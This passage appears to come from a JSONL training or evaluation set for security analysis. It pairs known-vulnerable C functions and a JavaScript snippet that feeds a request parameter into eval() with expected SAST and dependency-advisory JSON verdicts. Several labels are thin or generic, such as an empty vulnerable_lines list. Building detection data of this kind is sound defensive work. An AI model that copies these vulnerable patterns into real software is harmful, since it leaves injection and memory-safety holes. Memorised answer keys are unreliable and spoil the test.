\"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 24\n },\n {\n \"token\": \"b\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 25\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 26\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 27\n },\n {\n \"token\": \"n\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 31\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 32\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 33\n },\n {\n \"token\": \"point\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 37\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 42\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 43\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 4,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 5\n },\n {\n \"token\": \"book\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 6\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 4,\n \"col\": 10\n },\n {\n \"token\": \"used_entries\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 12\n },\n {\n \"token\": \">\",\n \"ast_node\": \">\",\n \"line\": 4,\n \"col\": 24\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 4,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 26\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 4,\n \"col\": 27\n },\n {\n \"token\": \"ogg_int32_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 6,\n \"col\": 5\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 6,\n \"col\": 17\n },\n {\n \"token\": \"v\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 18\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 6,\n \"col\": 20\n },\n {\n \"token\": \"book\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 22\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 6,\n \"col\": 26\n },\n {\n \"token\": \"dec_buf\",\n \"ast_node\": \"field_identifier\",\n \"line\": 6,\n \"col\": 28\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 35\n },\n {\n \"token\": \"//(ogg_int32_t *)alloca(sizeof(*v)*book->dim);\",\n \"ast_node\": \"comment\",\n \"line\": 6,\n \"col\": 36\n },\n {\n \"token\": \"long\",\n \"ast_node\": \"long\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 6\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 7,\n \"col\": 7\n },\n {\n \"token\": \"j\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 8\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 9\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"chptr\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 8,\n \"col\": 10\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 8,\n \"col\": 11\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 12\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 11,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 8\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 11,\n \"col\": 9\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "javascript", "cwe": "CWE-94", "source": "curated SAST pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the javascript source into its AST, map each token to its AST node, identify the vulnerable sink, and report the vulnerability as JSON.", "input": "function compute(req, res) {\n const raw = req.params.file;\n const result = eval(raw);\n res.json({ result });\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-94\",\n \"cwe_name\": \"Code Injection\",\n \"title\": \"Code injection via eval\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"program\",\n \"function_declaration\",\n \"statement_block\",\n \"lexical_declaration\",\n \"variable_declarator\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"eval\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 17\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 21\n },\n {\n \"token\": \"raw\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 22\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 25\n }\n ],\n \"explanation\": \"Untrusted input is passed to eval(), allowing arbitrary JavaScript execution.\",\n \"remediation\": \"Never eval untrusted input; use a safe parser or restricted interpreter.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-78", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/fleetdm/fleet/v4\nInstalled version: <4.81.1\nSummary: Fleet vulnerable to OS command injection in software packages", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-9vcr-g537-3w5v\",\n \"cve\": \"CVE-2026-26191\",\n \"aliases\": [\n \"CVE-2026-26191\",\n \"GO-2026-5301\"\n ],\n \"cwe\": \"CWE-78\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/fleetdm/fleet/v4\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <4.81.1\",\n \"fixed_version\": \"4.81.1\",\n \"finding\": \"Fleet vulnerable to OS command injection in software packages\",\n \"remediation\": \"Upgrade github.com/fleetdm/fleet/v4 to 4.81.1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-264", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void bnep_net_setup(struct net_device *dev)\n{\n\n\tmemset(dev->broadcast, 0xff, ETH_ALEN);\n \tdev->addr_len = ETH_ALEN;\n \n \tether_setup(dev);\n \tdev->netdev_ops = &bnep_netdev_ops;\n \n \tdev->watchdog_timeo = HZ * 2;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-264\",\n \"cwe_name\": \"Permissions/Privileges/Access Control\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2011-4112\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-79", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.apache.activemq:activemq-client\nInstalled version: <5.9.0\nSummary: Improper Neutralization of Input During Web Page Generation in Apache ActiveMQ", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-mfhr-3xmc-r2gg\",\n \"cve\": \"CVE-2013-1879\",\n \"aliases\": [\n \"CVE-2013-1879\"\n ],\n \"cwe\": \"CWE-79\",\n \"ecosystem\": \"Maven\",\n \"package\": \"org.apache.activemq:activemq-client\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <5.9.0\",\n \"fixed_version\": \"5.9.0\",\n \"finding\": \"Improper Neutralization of Input During Web Page Generation in Apache ActiveMQ\",\n \"remediation\": \"Upgrade org.apache.activemq:activemq-client to 5.9.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: ceph\nInstalled version: 10.2.5-2\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"ceph\",\n \"installed_version\": \"10.2.5-2\",\n \"note\": \"ceph 10.2.5-2 is at or above the fixed version for DEBIAN-CVE-2016-9579; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-416", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int usb_audio_probe(struct usb_interface *intf,\n\t\t\t const struct usb_device_id *usb_id)\n{\n\tstruct usb_device *dev = interface_to_usbdev(intf);\n\tconst struct snd_usb_audio_quirk *quirk =\n\t\t(const struct snd_usb_audio_quirk *)usb_id->driver_info;\n\tstruct snd_usb_audio *chip;\n\tint i, err;\n\tstruct usb_host_interface *alts;\n\tint ifnum;\n\tu32 id;\n\n\talts = &intf->altsetting[0];\n\tifnum = get_iface_desc(alts)->bInterfaceNumber;\n\tid = USB_ID(le16_to_cpu(dev->descriptor.idVendor),\n\t\t le16_to_cpu(dev->descriptor.idProduct));\n\tif (get_alias_id(dev, &id))\n\t\tquirk = get_alias_quirk(dev, id);\n\tif (quirk && quirk->ifnum >= 0 && ifnum != quirk->ifnum)\n\t\treturn -ENXIO;\n\n\terr = snd_usb_apply_boot_quirk(dev, intf, quirk, id);\n\tif (err < 0)\n\t\treturn err;\n\n\t/*\n\t * found a config. now register to ALSA\n\t */\n\n\t/* check whether it's already registered */\n\tchip = NULL;\n\tmutex_lock(®ister_mutex);\n\tfor (i = 0; i < SNDRV_CARDS; i++) {\n\t\tif (usb_chip[i] && usb_chip[i]->dev == dev) {\n\t\t\tif (atomic_read(&usb_chip[i]->shutdown)) {\n\t\t\t\tdev_err(&dev->dev, \"USB device is in the shutdown state, cannot create a card instance\\n\");\n\t\t\t\terr = -EIO;\n\t\t\t\tgoto __error;\n\t\t\t}\n\t\t\tchip = usb_chip[i];\n\t\t\tatomic_inc(&chip->active); /* avoid autopm */\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (! chip) {\n\t\t/* it's a fresh one.\n\t\t * now look for an empty slot and create a new card instance\n\t\t */\n\t\tfor (i = 0; i < SNDRV_CARDS; i++)\n\t\t\tif (!usb_chip[i] &&\n\t\t\t (vid[i] == -1 || vid[i] == USB_ID_VENDOR(id)) &&\n\t\t\t (pid[i] == -1 || pid[i] == USB_ID_PRODUCT(id))) {\n\t\t\t\tif (enable[i]) {\n\t\t\t\t\terr = snd_usb_audio_create(intf, dev, i, quirk,\n\t\t\t\t\t\t\t\t id, &chip);\n\t\t\t\t\tif (err < 0)\n\t\t\t\t\t\tgoto __error;\n\t\t\t\t\tchip->pm_intf = intf;\n\t\t\t\t\tbreak;\n\t\t\t\t} else if (vid[i] != -1 || pid[i] != -1) {\n\t\t\t\t\tdev_info(&dev->dev,\n\t\t\t\t\t\t \"device (%04x:%04x) is disabled\\n\",\n\t\t\t\t\t\t USB_ID_VENDOR(id),\n\t\t\t\t\t\t USB_ID_PRODUCT(id));\n\t\t\t\t\terr = -ENOENT;\n\t\t\t\t\tgoto __error;\n\t\t\t\t}\n\t\t\t}\n\t\tif (!chip) {\n\t\t\tdev_err(&dev->dev, \"no available usb audio device\\n\");\n\t\t\terr = -ENODEV;\n\t\t\tgoto __error;\n\t\t}\n\t}\n\tdev_set_drvdata(&dev->dev, chip);\n\n\t/*\n\t * For devices with more than one control interface, we assume the\n\t * first contains the audio controls. We might need a more specific\n\t * check here in the future.\n\t */\n\tif (!chip->ctrl_intf)\n\t\tchip->ctrl_intf = alts;\n\n\tchip->txfr_quirk = 0;\n\terr = 1; /* continue */\n\tif (quirk && quirk->ifnum != QUIRK_NO_INTERFACE) {\n\t\t/* need some special handlings */\n\t\terr = snd_usb_create_quirk(chip, intf, &usb_audio_driver, quirk);\n\t\tif (err < 0)\n\t\t\tgoto __error;\n\t}\n\n\tif (err > 0) {\n\t\t/* create normal USB audio interfaces */\n\t\terr = snd_usb_create_streams(chip, ifnum);\n\t\tif (err < 0)\n\t\t\tgoto __error;\n\t\terr = snd_usb_create_mixer(chip, ifnum, ignore_ctl_error);\n\t\tif (err < 0)\n\t\t\tgoto __error;\n\t}\n\n\t/* we are allowed to call snd_card_register() many times */\n\terr = snd_card_register(chip->card);\n\tif (err < 0)\n\t\tgoto __error;\n\n\tusb_chip[chip->index] = chip;\n\tchip->num_interfaces++;\n\tusb_set_intfdata(intf, chip);\n\tatomic_dec(&chip->active);\n\tmutex_unlock(®ister_mutex);\n\treturn 0;\n \n __error:\n \tif (chip) {\n \t\tif (!chip->num_interfaces)\n \t\t\tsnd_card_free(chip->card);\n\t\tatomic_dec(&chip->active);\n \t}\n \tmutex_unlock(®ister_mutex);\n \treturn err;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-416\",\n \"cwe_name\": \"Use After Free\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-19824\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 120\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"labeled_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 117,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 117,\n \"col\": 5\n },\n {\n \"token\": \"chip\",\n \"ast_node\": \"identifier\",\n \"line\": 117,\n \"col\": 6\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 117,\n \"col\": 10\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 117,\n \"col\": 12\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 118,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 118,\n \"col\": 6\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 118,\n \"col\": 7\n },\n {\n \"token\": \"chip\",\n \"ast_node\": \"identifier\",\n \"line\": 118,\n \"col\": 8\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 118,\n \"col\": 12\n },\n {\n \"token\": \"num_interfaces\",\n \"ast_node\": \"field_identifier\",\n \"line\": 118,\n \"col\": 14\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 118,\n \"col\": 28\n },\n {\n \"token\": \"snd_card_free\",\n \"ast_node\": \"identifier\",\n \"line\": 119,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 119,\n \"col\": 17\n },\n {\n \"token\": \"chip\",\n \"ast_node\": \"identifier\",\n \"line\": 119,\n \"col\": 18\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 119,\n \"col\": 22\n },\n {\n \"token\": \"card\",\n \"ast_node\": \"field_identifier\",\n \"line\": 119,\n \"col\": 24\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 119,\n \"col\": 28\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 119,\n \"col\": 29\n },\n {\n \"token\": \"atomic_dec\",\n \"ast_node\": \"identifier\",\n \"line\": 120,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 120,\n \"col\": 12\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 120,\n \"col\": 13\n },\n {\n \"token\": \"chip\",\n \"ast_node\": \"identifier\",\n \"line\": 120,\n \"col\": 14\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 120,\n \"col\": 18\n },\n {\n \"token\": \"active\",\n \"ast_node\": \"field_identifier\",\n \"line\": 120,\n \"col\": 20\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 120,\n \"col\": 26\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 120,\n \"col\": 27\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 121,\n \"col\": 2\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static void parse_input(h2o_http2_conn_t *conn)\n {\n size_t http2_max_concurrent_requests_per_connection = conn->super.ctx->globalconf->http2.max_concurrent_requests_per_connection;\n int perform_early_exit = 0;\n\n if (conn->num_streams.pull.half_closed + conn->num_streams.push.half_closed != http2_max_concurrent_requests_per_connection)\n perform_early_exit = 1;\n\n /* handle the input */\n while (conn->state < H2O_HTTP2_CONN_STATE_IS_CLOSING && conn->sock->input->size != 0) {\n if (perform_early_exit == 1 &&\n conn->num_streams.pull.half_closed + conn->num_streams.push.half_closed == http2_max_concurrent_requests_per_connection)\n goto EarlyExit;\n /* process a frame */\n const char *err_desc = NULL;\n ssize_t ret = conn->_read_expect(conn, (uint8_t *)conn->sock->input->bytes, conn->sock->input->size, &err_desc);\n if (ret == H2O_HTTP2_ERROR_INCOMPLETE) {\n break;\n } else if (ret < 0) {\n if (ret != H2O_HTTP2_ERROR_PROTOCOL_CLOSE_IMMEDIATELY) {\n enqueue_goaway(conn, (int)ret,\n err_desc != NULL ? (h2o_iovec_t){(char *)err_desc, strlen(err_desc)} : (h2o_iovec_t){});\n }\n close_connection(conn);\n return;\n }\n /* advance to the next frame */\n h2o_buffer_consume(&conn->sock->input, ret);\n }\n \n if (!h2o_socket_is_reading(conn->sock))\n h2o_socket_read_start(conn->sock, on_read);\n return;\n \n EarlyExit:\n if (h2o_socket_is_reading(conn->sock))\n h2o_socket_read_stop(conn->sock);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-4817\",\n \"project\": \"h2o\",\n \"vulnerable_lines\": [\n 24,\n 25,\n 33\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"while_statement\",\n \"compound_statement\",\n \"if_statement\",\n \"else_clause\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 19,\n \"col\": 15\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 19,\n \"col\": 18\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 19,\n \"col\": 19\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 19,\n \"col\": 23\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 19,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 19,\n \"col\": 26\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 19,\n \"col\": 28\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 20,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 20,\n \"col\": 15\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 20,\n \"col\": 16\n },\n {\n \"token\": \"!=\",\n \"ast_node\": \"!=\",\n \"line\": 20,\n \"col\": 20\n },\n {\n \"token\": \"H2O_HTTP2_ERROR_PROTOCOL_CLOSE_IMMEDIATELY\",\n \"ast_node\": \"identifier\",\n \"line\": 20,\n \"col\": 23\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 20,\n \"col\": 65\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 20,\n \"col\": 67\n },\n {\n \"token\": \"enqueue_goaway\",\n \"ast_node\": \"identifier\",\n \"line\": 21,\n \"col\": 17\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 21,\n \"col\": 31\n },\n {\n \"token\": \"conn\",\n \"ast_node\": \"identifier\",\n \"line\": 21,\n \"col\": 32\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 21,\n \"col\": 36\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 21,\n \"col\": 38\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 21,\n \"col\": 39\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 21,\n \"col\": 42\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 21,\n \"col\": 43\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 21,\n \"col\": 46\n },\n {\n \"token\": \"err_desc\",\n \"ast_node\": \"identifier\",\n \"line\": 22,\n \"col\": 32\n },\n {\n \"token\": \"!=\",\n \"ast_node\": \"!=\",\n \"line\": 22,\n \"col\": 41\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 22,\n \"col\": 44\n },\n {\n \"token\": \"?\",\n \"ast_node\": \"?\",\n \"line\": 22,\n \"col\": 49\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 22,\n \"col\": 51\n },\n {\n \"token\": \"h2o_iovec_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 22,\n \"col\": 52\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 22,\n \"col\": 63\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 22,\n \"col\": 64\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 22,\n \"col\": 65\n },\n {\n \"token\": \"char\",\n \"ast_node\": \"primitive_type\",\n \"line\": 22,\n \"col\": 66\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 22,\n \"col\": 71\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 22,\n \"col\": 72\n },\n {\n \"token\": \"err_desc\",\n \"ast_node\": \"identifier\",\n \"line\": 22,\n \"col\": 73\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 22,\n \"col\": 81\n },\n {\n \"token\": \"strlen\",\n \"ast_node\": \"identifier\",\n \"line\": 22,\n \"col\": 83\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 22,\n \"col\": 89\n },\n {\n \"token\": \"err_desc\",\n \"ast_node\": \"identifier\",\n \"line\": 22,\n \"col\": 90\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 22,\n \"col\": 98\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 22,\n \"col\": 99\n },\n {\n \"token\": \":\",\n \"ast_node\": \":\",\n \"line\": 22,\n \"col\": 101\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 22,\n \"col\": 103\n },\n {\n \"token\": \"h2o_iovec_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 22,\n \"col\": 104\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 22,\n \"col\": 115\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 22,\n \"col\": 116\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 22,\n \"col\": 117\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 22,\n \"col\": 118\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 22,\n \"col\": 119\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 23,\n \"col\": 13\n },\n {\n \"token\": \"close_connection\",\n \"ast_node\": \"identifier\",\n \"line\": 24,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 24,\n \"col\": 28\n },\n {\n \"token\": \"conn\",\n \"ast_node\": \"identifier\",\n \"line\": 24,\n \"col\": 29\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 24,\n \"col\": 33\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 24,\n \"col\": 34\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 25,\n \"col\": 12\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 25,\n \"col\": 18\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 26,\n \"col\": 9\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "cJSON *cJSON_DetachItemFromArray( cJSON *array, int which )\n{\n\tcJSON *c = array->child;\n\twhile ( c && which > 0 ) {\n\t\tc = c->next;\n\t\t--which;\n\t}\n\tif ( ! c )\n\t\treturn 0;\n\tif ( c->prev )\n\t\tc->prev->next = c->next;\n\tif ( c->next ) c->next->prev = c->prev;\n\tif ( c == array->child )\n\t\tarray->child = c->next;\n\tc->prev = c->next = 0;\n\treturn c;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-4303\",\n \"project\": \"iperf\",\n \"vulnerable_lines\": [\n 2,\n 3,\n 4,\n 5,\n 6,\n 7,\n 8,\n 9,\n 10,\n 11,\n 12,\n 13,\n 14,\n 15,\n 16,\n 17\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"cJSON\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 6\n },\n {\n \"token\": \"cJSON_DetachItemFromArray\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 32\n },\n {\n \"token\": \"cJSON\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 34\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 40\n },\n {\n \"token\": \"array\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 41\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 46\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 48\n },\n {\n \"token\": \"which\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 52\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 58\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"cJSON\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 7\n },\n {\n \"token\": \"c\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 8\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": \"array\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 12\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 3,\n \"col\": 17\n },\n {\n \"token\": \"child\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 19\n },\n {\n \"token\": \";\",\n 